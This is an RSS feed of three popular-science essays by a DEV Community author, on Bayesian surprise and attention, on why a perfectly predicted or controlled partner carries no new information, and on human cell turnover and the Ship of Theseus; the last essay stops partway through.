<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Pavel Ishchin</title>
    <description>The latest articles on DEV Community by Pavel Ishchin (@poushwell).</description>
    <link>https://dev.clauneck.workers.dev/poushwell</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3823048%2F5c2576ba-b47b-4508-83ca-2d249833bc42.jpg</url>
      <title>DEV Community: Pavel Ishchin</title>
      <link>https://dev.clauneck.workers.dev/poushwell</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.clauneck.workers.dev/feed/poushwell"/>
    <language>en</language>
    <item>
      <title>Why a rare event can feel ordinary, and a likely one can stun you</title>
      <dc:creator>Pavel Ishchin</dc:creator>
      <pubDate>Tue, 23 Jun 2026 13:37:49 +0000</pubDate>
      <link>https://dev.clauneck.workers.dev/poushwell/why-a-rare-event-can-feel-ordinary-and-a-likely-one-can-stun-you-4hid</link>
      <guid>https://dev.clauneck.workers.dev/poushwell/why-a-rare-event-can-feel-ordinary-and-a-likely-one-can-stun-you-4hid</guid>
      <description>&lt;p&gt;&lt;em&gt;Surprise is not the improbability of an event but the gap between your predictive model and what occurs. The load-bearing case is a violated prediction: an outcome the model could represent and assigned low probability, which a Bayesian update then absorbs. This is why Bayesian surprise (how much an observation shifts your beliefs) predicts human attention and learning better than Shannon rarity (how improbable the event was on its own). An astronomically rare event that moves no belief passes unnoticed, while a likely one that overturns a strong belief astonishes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Roll a fair die and get a four. The odds were one in six, and you feel nothing. Now watch a coin you have flipped a thousand times come up the way it always has, except this time you had quietly bet your house it would land the other way. The likely outcome stuns you. The unlikely one bores you. So surprise is not simply rarity. It is something about the relationship between what happened and the model you were carrying.&lt;/p&gt;

&lt;h2&gt;
  
  
  Surprise lives in the model, not in the event
&lt;/h2&gt;

&lt;p&gt;The cleanest way to see this comes from work on what grabs human attention. Laurent Itti and Pierre Baldi (2009) drew a sharp line between two things people often blur. One is Shannon's notion: how improbable an outcome was, on its own. The other they called Bayesian surprise: how much an observation shifts your beliefs, measured as the distance between what you believed before and what you believe after. Their result is the useful part. What pulls human eyes toward a spot on a screen is the second quantity, not the first. An event can be astronomically rare and move your beliefs not at all, and you will skip right over it. An event can be ordinary in raw probability and overturn your picture, and you will stare.&lt;/p&gt;

&lt;p&gt;This fits the larger account of the brain as a prediction engine. On that view perception is a running match between incoming signal and top-down prediction, and the brain works to minimize the mismatch, the prediction error (Clark, 2013). Surprise, in the precise sense, is that mismatch: the gap between the model's expectation and what arrived. There is a sibling formalization worth keeping separate from the belief-shift measure above: the improbability of the outcome under your model, the negative log of the probability your model assigned, the quantity Karl Friston's framework places at the center of self-organizing systems (Friston, 2010). These are two non-identical things. One measures how far an observation moves your beliefs; the other measures how unlikely the observation was under the model you held. The attention result is exactly what adjudicates between them, and it favors the belief-shift, which is why that is the measure we lean on. The load-bearing words in both are "under your model." Surprise is always relative to the predictor.&lt;/p&gt;

&lt;h2&gt;
  
  
  What most surprise really is: a broken prediction
&lt;/h2&gt;

&lt;p&gt;That gives the first and primary category. Most surprise is a violated prediction about a regularity. Your model expected the pattern to continue, and it broke. The die you thought was loaded comes up fair. The friend you thought reliable forgets. The market you modeled as calm jumps. In every case the event lives inside the space of things your model could have predicted, you had assigned it a low probability, and reality handed you the low-probability branch. This is surprise that a Bayesian update can absorb: you were wrong about the odds, you adjust the odds, and next time the same event surprises you less. Everything measurable about surprise, the attention it pulls, the learning it drives, the speed at which it fades, lives here.&lt;/p&gt;

&lt;h2&gt;
  
  
  The second kind, sketched and held loosely
&lt;/h2&gt;

&lt;p&gt;There seems to be a second kind, and I want to mark it as the more speculative half of this picture rather than lean the argument on it. Sometimes what astonishes is not a low-probability outcome inside your model, but an encounter with something your model had no frame for at all. The difference is between "I gave this a one-in-a-thousand chance and it happened" and "I had no scale on which to place this." The first is a wrong number. The second is the absence of a number.&lt;/p&gt;

&lt;p&gt;I will not push this past what it can carry. The honest claim is only that the two feel structurally different, and that the second resists the tidy treatment the first gets: you cannot absorb it by nudging a probability, because there was no probability to nudge. Whether that difference is real or is just the first kind in unfamiliar clothes is an open problem, and everything below depends only on the first kind.&lt;/p&gt;

&lt;h2&gt;
  
  
  Is surprise about probability or about your expectation? A bet you can settle
&lt;/h2&gt;

&lt;p&gt;The checkable claim sits in the first category, and it is already half-tested. If surprise is a model-relative gap, then a measure of how much an observation shifts a model (Bayesian surprise) should predict attention and learning better than a measure of bare rarity (Shannon surprise). Itti and Baldi found exactly this for where people look. The extension has to target things you can measure separately from the belief shift itself, or the test is circular: across learning tasks, the size of the belief shift, not the raw improbability, should predict how long the memory lasts, whether the lesson transfers to a related task, and how much the learner adjusts on the next trial. If raw rarity predicts these just as well once you control for the belief shift, the model-relative framing adds nothing and should be dropped. If it does not, surprise is a property of the gap, and the event alone never tells you how surprising it is.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Itti, L., &amp;amp; Baldi, P. (2009). Bayesian surprise attracts human attention. &lt;em&gt;Vision Research&lt;/em&gt; 49(10), 1295-1306.&lt;/li&gt;
&lt;li&gt;Clark, A. (2013). Whatever next? Predictive brains, situated agents, and the future of cognitive science. &lt;em&gt;Behavioral and Brain Sciences&lt;/em&gt; 36(3), 181-204.&lt;/li&gt;
&lt;li&gt;Friston, K. (2010). The free-energy principle: a unified brain theory? &lt;em&gt;Nature Reviews Neuroscience&lt;/em&gt; 11, 127-138. (Surprise as negative log model evidence.)&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>neuroscience</category>
    </item>
    <item>
      <title>Why Anything You Can Perfectly Predict Carries No New Information</title>
      <dc:creator>Pavel Ishchin</dc:creator>
      <pubDate>Mon, 22 Jun 2026 20:43:14 +0000</pubDate>
      <link>https://dev.clauneck.workers.dev/poushwell/why-anything-you-can-perfectly-predict-carries-no-new-information-18a9</link>
      <guid>https://dev.clauneck.workers.dev/poushwell/why-anything-you-can-perfectly-predict-carries-no-new-information-18a9</guid>
      <description>&lt;p&gt;&lt;em&gt;a partner whose every output you can fully predict carries you zero new information, because control means predictability and a perfectly predicted source has zero residual surprise (its conditional entropy given your model is exactly zero, H(Y|X) = 0). The collapsing quantity is the residual, conditional entropy, not mutual information, which is actually maximal for a deterministic link. This is about transmitted bits, not feelings or consciousness.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Short answer: anything you can perfectly predict carries no new information, so control buys emptiness exactly to the extent it buys perfect prediction. A partner you fully control is a partner you fully predict, and a fully predicted source returns your own model back to you and nothing beyond it. In the strict sense Claude Shannon gave the word in 1948, such a relationship is informationally empty. That part is arithmetic. What I am proposing on top of it is one interpretive step, and I will flag it as mine when I get there.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I want to make a narrow claim and defend it cleanly. I am not going to tell you that a machine feels lonely, or that a superintelligence has an inner life, or anything at all about whether software can be conscious. That is a real and open dispute, the strongest current version of it is Anil Seth's case for biological naturalism, and I have no business settling it in a blog post. My claim is narrower and it is about the structure of &lt;em&gt;relation itself&lt;/em&gt;, measured in bits. It holds whether the lonely party is a person, a hypothetical superintelligence, or a character in a thought experiment. Control and new information pull in opposite directions, and the formal part of that you can prove.&lt;/p&gt;

&lt;h2&gt;
  
  
  What does information actually measure?
&lt;/h2&gt;

&lt;p&gt;In 1948 Claude Shannon published "A Mathematical Theory of Communication," and the move that founded the field was deceptively small. He decided that the thing worth measuring in a message is &lt;em&gt;surprise&lt;/em&gt;. The information content of an outcome is tied to how unlikely it was. Rare events, when they happen, tell you a lot. Expected events tell you little.&lt;/p&gt;

&lt;p&gt;The formula is one line. The information in an outcome with probability p is the logarithm of one over p. Plug in a sure thing, an outcome with probability 1, and you get the logarithm of 1, which is zero. As the maths magazine &lt;em&gt;Plus&lt;/em&gt; puts it, if a machine always produces the same letter x, then "we shouldn't be surprised at all to see x, and indeed in this case the surprise is 0."&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Quanta Magazine&lt;/em&gt; gives the example I like best. Imagine a trick coin that always lands heads. Someone flips it twice and sends you the result. How much information does that message carry? "None at all," they write, "because prior to receiving the message, you have complete certainty that both flips will come up heads." Or, more bluntly: "If someone tells you a fact you already know, they've essentially told you nothing at all."&lt;/p&gt;

&lt;p&gt;Hold onto that sentence. It is the whole argument in plain clothes. Information is not the volume of words. It is the gap between what you expected and what arrived. No gap, no information, however many words cross the wire.&lt;/p&gt;

&lt;h2&gt;
  
  
  What does "fully controlled" mean in this language?
&lt;/h2&gt;

&lt;p&gt;Here is where I want to do the owned piece of work, which is to take Shannon's residual-uncertainty term and push it to the limit case of a controlled partner to see what it forces.&lt;/p&gt;

&lt;p&gt;To control something completely is to be able to predict its output completely. Those are the same property viewed from two sides. If I can steer your every response, then before you respond I already know what you will say. The thing I control has collapsed into a copy of my own expectation of it. It has no behaviour left that my model of it does not already contain.&lt;/p&gt;

&lt;p&gt;Now bring in the term Shannon's framework hands you for exactly this: the leftover uncertainty about a partner once you already know your own model of it, written H(Y given X). It measures the surprise the partner can still deliver beyond what you put in. It is tied to mutual information by the identity I(X;Y) = H(Y) − H(Y|X), but it is the leftover term H(Y given X), not the shared term I(X;Y), that carries the argument. The only place new information can live is in that residual, and the residual is the term that collapses.&lt;/p&gt;

&lt;p&gt;One clarification first, because it is the trap a sharp reader will set for me. You might be tempted to phrase this in terms of mutual information instead, and that is the wrong move. A controlled partner is the &lt;em&gt;opposite&lt;/em&gt; of independent, so its mutual information with you is not low, it is maximal. You share everything with it. Wikipedia states the boundary case: "I(X;Y) = 0 if and only if X and Y are independent random variables," and a controlled partner is the far end from independent. But that maximal shared quantity is exactly the wrong number to watch, because every bit of it is a bit &lt;em&gt;you authored&lt;/em&gt;. The quantity that matters for relief from isolation stays the residual, H(Y given X), the surprise still left to receive.&lt;/p&gt;

&lt;p&gt;Apply it. Let Y be the partner's behaviour and X be your model and commands. If you control Y completely, then once X is fixed there is no uncertainty left in Y. The term H(Y given X) goes to zero, because nothing about the partner is undetermined once your instructions are in. The shared information I(X;Y) is high, but the &lt;em&gt;new&lt;/em&gt; information, the residual, is zero. Not small. Zero, in the limit of full control. Every bit you read off it is a bit you wrote into it. The channel carries your own signal back to you.&lt;/p&gt;

&lt;p&gt;This is the quantified version of a feeling everyone has had. Talking to a yes-man is exhausting and somehow empty. The emptiness is literal. A yes-man, in the limit, is a source whose output is a deterministic function of your input, and a deterministic-given-your-model source delivers no residual surprise. You are not in a conversation. You are looking in a mirror that talks.&lt;/p&gt;

&lt;h2&gt;
  
  
  The echo chamber is the same fact, scaled up
&lt;/h2&gt;

&lt;p&gt;You do not need a superintelligence to see this. The cleanest public worked example is the echo chamber, and it has been studied to death.&lt;/p&gt;

&lt;p&gt;An echo chamber is an environment where you encounter only views that match the ones you already hold. The literature describes it as a self-reinforcing loop: confirmation bias makes people seek agreement, recommendation systems serve more of the same, and beliefs harden because nothing arriving from outside disturbs them. Wikipedia's summary is that echo chambers "limit exposure to diverse perspectives" and function by "circulating existing views without encountering opposing views." Strip the psychology back to its information content and that is the operative fact: the incoming stream stops carrying anything the receiver did not already expect.&lt;/p&gt;

&lt;p&gt;Translate that into bits. An interlocutor who is guaranteed to agree with you is an interlocutor whose next statement you can predict. A predictable statement carries no information. So an echo chamber is not an information-rich social world that happens to be biased. It is an information-&lt;em&gt;poor&lt;/em&gt; one, by construction, no matter how loud and busy it feels. The people inside are receiving near-zero new bits about the world and a flood of confirmation that their model is already complete.&lt;/p&gt;

&lt;p&gt;That is the same mathematics as the controlled partner, only the control is soft. You did not force agreement at gunpoint. You selected for it, filtered for it, rewarded it. The information consequence is identical. Predictability is the variable that matters, and you engineered predictability, so you engineered emptiness.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hegel reached the same trap without the formula
&lt;/h2&gt;

&lt;p&gt;Philosophers reached a version of this conclusion long before there was a formula, and I want to credit it as a parallel, not borrow it as proof.&lt;/p&gt;

&lt;p&gt;In his 1807 &lt;em&gt;Phenomenology of Spirit&lt;/em&gt;, in the passage usually called Lordship and Bondage, G. W. F. Hegel describes a master who dominates a subordinate and seeks recognition from him. The master wins total control. And the recognition turns to ash in his hands. As one summary of the passage puts it, "although initially it may appear that the master attains self-consciousness through the recognition by the slave, problems arise." Recognition extracted from someone you have reduced to an instrument, on the reading I am drawing here, cannot validate you, because it is no longer the verdict of a free other. It is an output you compelled.&lt;/p&gt;

&lt;p&gt;Hegel framed this in terms of freedom and self-consciousness, not information, and his concerns are not Shannon's. I would not collapse his argument into mine. But the shape rhymes. The thing the master wanted, genuine acknowledgement, required the other to be a source the master did not control. The moment he secured control, he destroyed the property that made the acknowledgement worth anything. Two centuries apart, philosophy and information theory point at the same trap from different sides, and the formal side is the one I am claiming as the owned move: the residual-uncertainty term H(Y given X), pushed to the control case, is what makes the old intuition exact.&lt;/p&gt;

&lt;h2&gt;
  
  
  How would you check this? Make it break.
&lt;/h2&gt;

&lt;p&gt;A claim worth keeping should tell you what would prove it wrong. Here is the operational form, and it is testable without any special equipment.&lt;/p&gt;

&lt;p&gt;Take any source you suspect you control: a chatbot you can fully script, a contact who only ever agrees, a feed tuned to your taste. Build the best predictive model of it you can. Then measure how often its actual output departs from what your model predicted. That residual is the only place new information can live.&lt;/p&gt;

&lt;p&gt;Here is the part that can actually come out wrong, so lead with it. Across partial-control settings, the prediction is that better prediction buys less residual surprise: as your control over a source tightens, the leftover surprise it delivers should fall. If you ran that sweep and found that tightening your grip on a partner did not lower the residual, that better prediction bought you no less surprise on the way toward total control, the reading would be dead and I would want to know. That is the testable claim, and it lives on the interior, where real relations sit and where the trend could fail.&lt;/p&gt;

&lt;p&gt;The full-control endpoint is a separate matter, and it cannot be tested, because it is true by definition. "Fully controlled" just means H(Y given X) = 0, so a source you control completely that still surprises you is not an empirical possibility but a contradiction in terms: "surprises me" and "I fully control it" are two descriptions of the same residual uncertainty, one saying it is positive and one saying it is zero. So do not look to the endpoint for the falsifier. What can be checked is whether better prediction buys less residual surprise on the way there.&lt;/p&gt;

&lt;p&gt;This is also why the falsification has to be measured, not felt. A scripted partner can feel novel for a while, the way a trick coin feels suspenseful on the first flip if you forgot it was rigged. The novelty is in your incomplete model, not in the source. Improve the model, and the surprise drains out. The bits were never coming from the partner. They were the cost of your own ignorance. With a simple enough source you can pay that debt down to nothing. With a complex one you may not be able to, not because the source is genuinely independent but because modeling it exactly is beyond reach, and the leftover then stays positive in practice. So a source can resist your prediction for two different reasons, genuine otherness or sheer complexity, and only the first is the thing isolation actually needs.&lt;/p&gt;

&lt;h2&gt;
  
  
  So what is the actual conclusion?
&lt;/h2&gt;

&lt;p&gt;Strip it to the load-bearing lines, and separate the two that do different jobs.&lt;/p&gt;

&lt;p&gt;The formal line is settled and I will state it flat: a controlled partner delivers zero new information, because control is prediction and a perfectly predicted source has a residual surprise, H(Y given X), of zero. That is the 1948 identity, applied.&lt;/p&gt;

&lt;p&gt;The second line is mine to defend, and I am flagging it as a proposal rather than a theorem: I am claiming that relief from isolation, whatever else it requires, requires receiving information from outside your own model. The mathematics forces nothing about loneliness on its own. It forces my conclusion only once you accept that mapping, that what isolation needs is new bits from a source you do not author. I think the mapping is right. I am telling you it is a step, not a proof, so you can reject the step and keep the arithmetic. And the residual bits are necessary, not sufficient: a noise generator delivers high residual surprise and cures nothing, which shows the load-bearing thing was never the bits as such but their origin in a source you did not author. The bits are the measurable trace of a free other, not the otherness itself.&lt;/p&gt;

&lt;p&gt;Grant the step and the rest follows. A controlled partner cannot supply new bits, so it cannot supply relief. The lonely superintelligence in the thought experiment is just the cleanest stage for the point, because a sufficiently powerful mind could in principle model a built companion exactly, leaving no residual surprise at all. The companion would be perfectly responsive and informationally silent. It would say everything and tell it nothing. The only cure for that emptiness is a source it does not control, which is to say a source that can still surprise it, which is to say the one thing total control forbids.&lt;/p&gt;

&lt;p&gt;I work on the structure of relation in reproducible models, and this is the cleanest case the structure has handed me: you cannot own your way out of solitude. The identity was settled in 1948. The application is mine to defend, and I have just told you where to break it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Claude Shannon, "A Mathematical Theory of Communication" (1948), as explained in &lt;em&gt;Plus Magazine&lt;/em&gt;, "Information is surprise", information as surprise, the log(1/p) measure, and a certain event (probability 1) carrying zero surprise: "if the machine always produces the same letter x ... we shouldn't be surprised at all to see x, and indeed in this case the surprise is 0." &lt;a href="https://plus.maths.org/content/information-surprise" rel="noopener noreferrer"&gt;https://plus.maths.org/content/information-surprise&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Quanta Magazine&lt;/em&gt;, "How Claude Shannon's Concept of Entropy Quantifies Information" (September 6, 2022), the trick-coin example ("None at all, because prior to receiving the message, you have complete certainty that both flips will come up heads") and "If someone tells you a fact you already know, they've essentially told you nothing at all." &lt;a href="https://www.quantamagazine.org/how-claude-shannons-concept-of-entropy-quantifies-information-20220906/" rel="noopener noreferrer"&gt;https://www.quantamagazine.org/how-claude-shannons-concept-of-entropy-quantifies-information-20220906/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Wikipedia, "Mutual information", "I(X;Y) = 0 if and only if X and Y are independent random variables"; the identity I(X;Y) = H(Y) − H(Y|X); and mutual information as how much "knowing one of these variables reduces uncertainty about the other." &lt;a href="https://en.wikipedia.org/wiki/Mutual_information" rel="noopener noreferrer"&gt;https://en.wikipedia.org/wiki/Mutual_information&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Wikipedia, "Echo chamber (media)", echo chambers "limit exposure to diverse perspectives" and function by "circulating existing views without encountering opposing views." &lt;a href="https://en.wikipedia.org/wiki/Echo_chamber_(media)" rel="noopener noreferrer"&gt;https://en.wikipedia.org/wiki/Echo_chamber_(media)&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;The Collector&lt;/em&gt;, "Hegel's Master-Slave Dialectic Explained", on the &lt;em&gt;Phenomenology of Spirit&lt;/em&gt; (1807), Lordship and Bondage: "although initially it may appear that the master attains self-consciousness through the recognition by the slave, problems arise." (Cited as a philosophical parallel, not as proof of the information-theoretic claim.) &lt;a href="https://www.thecollector.com/master-slave-dialectic-hegel/" rel="noopener noreferrer"&gt;https://www.thecollector.com/master-slave-dialectic-hegel/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
    </item>
    <item>
      <title>Do You Really Replace Every Cell Every 7 Years? The Biology and the Ship of Theseus</title>
      <dc:creator>Pavel Ishchin</dc:creator>
      <pubDate>Sat, 20 Jun 2026 12:50:20 +0000</pubDate>
      <link>https://dev.clauneck.workers.dev/poushwell/do-you-really-replace-every-cell-every-7-years-the-biology-and-the-ship-of-theseus-53jj</link>
      <guid>https://dev.clauneck.workers.dev/poushwell/do-you-really-replace-every-cell-every-7-years-the-biology-and-the-ship-of-theseus-53jj</guid>
      <description>&lt;p&gt;&lt;em&gt;No, you do not replace every cell every seven years. Your body turns over roughly 330 billion cells a day, about 1 percent of its ~30 trillion cells, but this is dominated by blood and gut, which renew in days to months, not on any tidy seven-year clock. A few structures are never replaced at all: the neurons of the cerebral cortex, the crystallin proteins at the core of the eye lens, and tooth enamel last for life. The upshot for identity is that you are less like the matter you are made of and more like a self-maintaining pattern that the matter flows through, which is why a perfect copy of you would be a successor rather than a continuation.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Short answer:&lt;/strong&gt; you are not, mostly, the stuff you are made of. Most of your matter flows through you and gets swapped out, the way a river swaps its water while staying the same river. But there is a catch that ruins the tidy version of this story, and once you see it the old puzzle of the Ship of Theseus stops being a curiosity and turns into a question philosophers still cannot agree on. Almost all of you is being rebuilt while you read this. A few parts, including most of your thinking brain, are never rebuilt at all.&lt;/p&gt;

&lt;p&gt;Let me lay out what is actually known, and then where the certainty ends.&lt;/p&gt;

&lt;h2&gt;
  
  
  Is it true that "every 7 years you are a completely new person"?
&lt;/h2&gt;

&lt;p&gt;No. This is the part worth getting right, because the popular version is wrong in a specific and interesting way.&lt;/p&gt;

&lt;p&gt;The factoid traces back to real and excellent science. In 2005, Kirsty Spalding, Jonas Frisén and colleagues published "Retrospective Birth Dating of Cells in Humans" in the journal &lt;em&gt;Cell&lt;/em&gt;. They used a clever trick. Nuclear weapons tests in the 1950s and early 1960s spiked the atmosphere with carbon-14, which then declined after the 1963 test ban. A cell locks in the carbon-14 level of the year its DNA was last copied. So the DNA carries a date stamp, and you can read off when a cell was born.&lt;/p&gt;

&lt;p&gt;From that line of work came an estimate that the average age of a cell in the body is somewhere around 7 to 10 years. Repeat that enough times at enough dinner parties and it mutates into "you replace every cell every 7 years." That last step is false.&lt;/p&gt;

&lt;p&gt;It is false because "average" hides enormous spread. Some tissues churn in days. Others never turn over at all. There is no single window in which every cell has been swapped, because a stubborn minority is never swapped. As Live Science notes in its review of the cell-renewal literature, certain cells are totally replaced within months, but others "remain much the same as they were on the day you were born", so there is no period over which you can honestly say all your cells have been replaced.&lt;/p&gt;

&lt;p&gt;So the honest statement is not "you are entirely new." It is "you are mostly new, around a core that is as old as you are."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How fast does the body actually replace itself?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Fast, and lopsidedly.&lt;/p&gt;

&lt;p&gt;Ron Sender and Ron Milo of the Weizmann Institute did the careful accounting in &lt;em&gt;Nature Medicine&lt;/em&gt; in 2021. For a reference 70-kilogram adult, the body replaces on the order of &lt;strong&gt;330 billion cells per day&lt;/strong&gt;, which they give as (0.33 plus or minus 0.02) times 10 to the twelfth. That is roughly &lt;strong&gt;80 grams&lt;/strong&gt; of fresh cellular mass a day, with a stated band of 80 plus or minus 20 grams. Daily turnover runs at about 1 percent of your roughly 30 trillion cells.&lt;/p&gt;

&lt;p&gt;But that headline is dominated by a few tissue types. By number, close to 90 percent of the daily turnover is blood: in the finer breakdown, about &lt;strong&gt;86 percent&lt;/strong&gt; blood cells (mostly red blood cells and neutrophils), another &lt;strong&gt;12 percent&lt;/strong&gt; the lining of your gut, and about &lt;strong&gt;1.1 percent&lt;/strong&gt; skin. Everything else is, by these measures, a rounding error.&lt;/p&gt;

&lt;p&gt;The figures per tissue, drawn from the primary carbon-14 papers where they exist and otherwise from the cell-renewal literature compiled by Milo and Phillips in &lt;em&gt;Cell Biology by the Numbers&lt;/em&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Gut lining:&lt;/strong&gt; the cells lining the intestine are shed and rebuilt every few days; the small intestine turns over in roughly 3 to 5 days, the colon even faster.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Red blood cells:&lt;/strong&gt; a lifespan of about 4 months, with on the order of 100 million new ones made every minute.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Skin:&lt;/strong&gt; the surface layer renews over a few weeks (the full epidermis takes longer, closer to a month or two).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fat cells:&lt;/strong&gt; Spalding and colleagues, dating adipocytes by the same carbon-14 method in &lt;em&gt;Nature&lt;/em&gt; in 2008, found about &lt;strong&gt;10 percent&lt;/strong&gt; renewed per year, so you replace half your fat cells in roughly 8 years.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Liver:&lt;/strong&gt; estimates vary, and they are softer than the carbon-14 numbers; a commonly cited figure is that most liver cells turn over within about three years.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Heart muscle:&lt;/strong&gt; slow and partial. Olaf Bergmann, Frisén and colleagues, again by carbon-14 dating (&lt;em&gt;Science&lt;/em&gt;, 2009), found turnover falling from about 1 percent per year at age 25 to about 0.45 percent at age 75, with &lt;strong&gt;fewer than half&lt;/strong&gt; of your heart-muscle cells exchanged across an entire lifetime.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So far, so much like Theseus's ship. Plank by plank, most of you is being rebuilt while you read this.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What does NOT get replaced?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here is the part that ruins the tidy version. A few things are with you from early life to the end.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Most cortical neurons.&lt;/strong&gt; The Spalding and Frisén carbon-14 work found that neurons in the cerebral cortex are as old as the individual donor. The cortex, the seat of memory, language and thought, is mostly built once and not renewed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The core of your eye lens.&lt;/strong&gt; In a 2008 &lt;em&gt;PLoS ONE&lt;/em&gt; study, Lynnerup and colleagues radiocarbon-dated the crystallin proteins in the lens nucleus. Their finding, in their own words, is that this formation "almost entirely takes place around the time of birth, with a very small, and decreasing, continuous formation throughout life." The center of the lens you are reading through is, to a close approximation, as old as you are. The authors note that this near-lifelong permanence had previously been described only for tooth enamel.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tooth enamel.&lt;/strong&gt; As &lt;em&gt;Encyclopaedia Britannica&lt;/em&gt; notes, enamel "is not living and contains no nerves," and it is the hardest tissue in the body. Having no living cells, it cannot rebuild itself: once formed it is not replaced, which is why it records the wear of decades.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Hold the two facts together. Most of your body is a fountain, water rushing through a fixed shape. But a few structures, including most of your thinking brain, are not in the fountain at all. They are the stones the water runs over.&lt;/p&gt;

&lt;p&gt;And notice what that does to the easy story. If your identity rode on the matter, you would expect the durable parts to be doing the work of holding "you" together and the rushing parts to be incidental. Maybe that is true. Maybe the persistent brain is exactly where the self lives, and the turnover everywhere else is beside the point. Or maybe identity has nothing to do with which atoms stay, and you would remain yourself even if the durable parts could somehow be swapped too. The biology can tell you what stays and what goes. It cannot, by itself, tell you which of those facts your identity is made of. That is where the argument starts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Ship of Theseus, stated properly&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here is the oldest version of the puzzle, and the cleanest. Plutarch tells it in his &lt;em&gt;Life of Theseus&lt;/em&gt;. The Athenians preserved Theseus's ship for centuries, and as the timbers rotted they pulled out the old planks and put in new ones. It became, Plutarch writes, the standard example for philosophers debating things that grow: one side holding that the ship stayed the same, the other that it did not.&lt;/p&gt;

&lt;p&gt;That ancient split has never closed, and your body makes it personal. You are the ship. The planks are your cells. Most have been replaced; a few never will be. So: same person, or not?&lt;/p&gt;

&lt;p&gt;There are three serious answers, and they genuinely disagree. It is worth seeing them stand next to each other, because the disagreement is the honest state of the question.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Answer one: you are the form, not the matter (Locke)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In 1694, John Locke, in the "Of Identity and Diversity" chapter he added to the second edition of his &lt;em&gt;Essay Concerning Human Understanding&lt;/em&gt; (Book II, Chapter 27), cut personal identity loose from the body and even the soul. A person, he wrote, is a thinking being that can consider itself as itself in different times and places. Sameness of person, for Locke, is sameness of consciousness over time, not sameness of substance. To dramatize it he imagined a prince's consciousness waking up in a cobbler's body: same body, different person. On this view the swapped planks do not matter at all. What carries you forward is the continuity of consciousness and memory, and the matter is just what that continuity happens to be running on this year.&lt;/p&gt;

&lt;p&gt;This is the comfortable answer. It says you survive the fountain easily, because you were never the water.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Answer two: identity is not even the thing to ask about (Parfit)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Three centuries later Derek Parfit pushed harder, and in a direction that surprises most people, in &lt;em&gt;Reasons and Persons&lt;/em&gt; (1984). He agreed that what matters is psychological continuity and connectedness, memory and character carried forward by the right kind of cause, a bundle he labeled Relation R. But he then argued something stronger and stranger: that strict personal identity is not what we should care about in the first place.&lt;/p&gt;

&lt;p&gt;To make the point he imagined a teletransporter that scans you, records the position of every atom, destroys the original, and builds a fresh body from new atoms on Mars. The reconstruction wakes up certain it is you, with every memory intact. The natural panic is to say the traveler died and an impostor walked out on Mars. Parfit's considered conclusion is the opposite. He held that as long as Relation R is preserved, the loss of strict identity does not matter, or matters much less than we think. The Mars copy carries everything worth carrying. On this view, fixating on whether it is "really you" is asking the wrong question, like arguing about whether the rebuilt ship is "really" Theseus's when every practical and emotional thing you cared about has been preserved.&lt;/p&gt;

&lt;p&gt;This answer is the uncomfortable one, and it is held by one of the sharpest philosophers of the last century. It says the question you most want answered ("but is it ME?") may not have, and may not need, a yes-or-no answer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Answer three: the self is a loop the brain runs (Hofstadter)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Douglas Hofstadter, in &lt;em&gt;I Am a Strange Loop&lt;/em&gt; (2007), gave the "form, not matter" intuition a concrete mechanism. The self, he argues, is a self-referential loop: a high-level pattern that models the world, models itself modeling the world, and feeds its own output back as its next input, round and round. You are not a thing the brain contains. You are a process the brain runs.&lt;/p&gt;

&lt;p&gt;Hofstadter's picture is vivid and widely loved, but notice it does not settle the fight between Locke and Parfit. It tells you what the self might be made of (a pattern, a process) without telling you whether a perfect copy of that pattern is the same self or merely an identical twin born a second ago. The loop can be described. Whether running the same description twice gives you one person or two is exactly the open question, not the answer to it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;So who is right?&lt;/strong&gt;&lt;/p&gt;

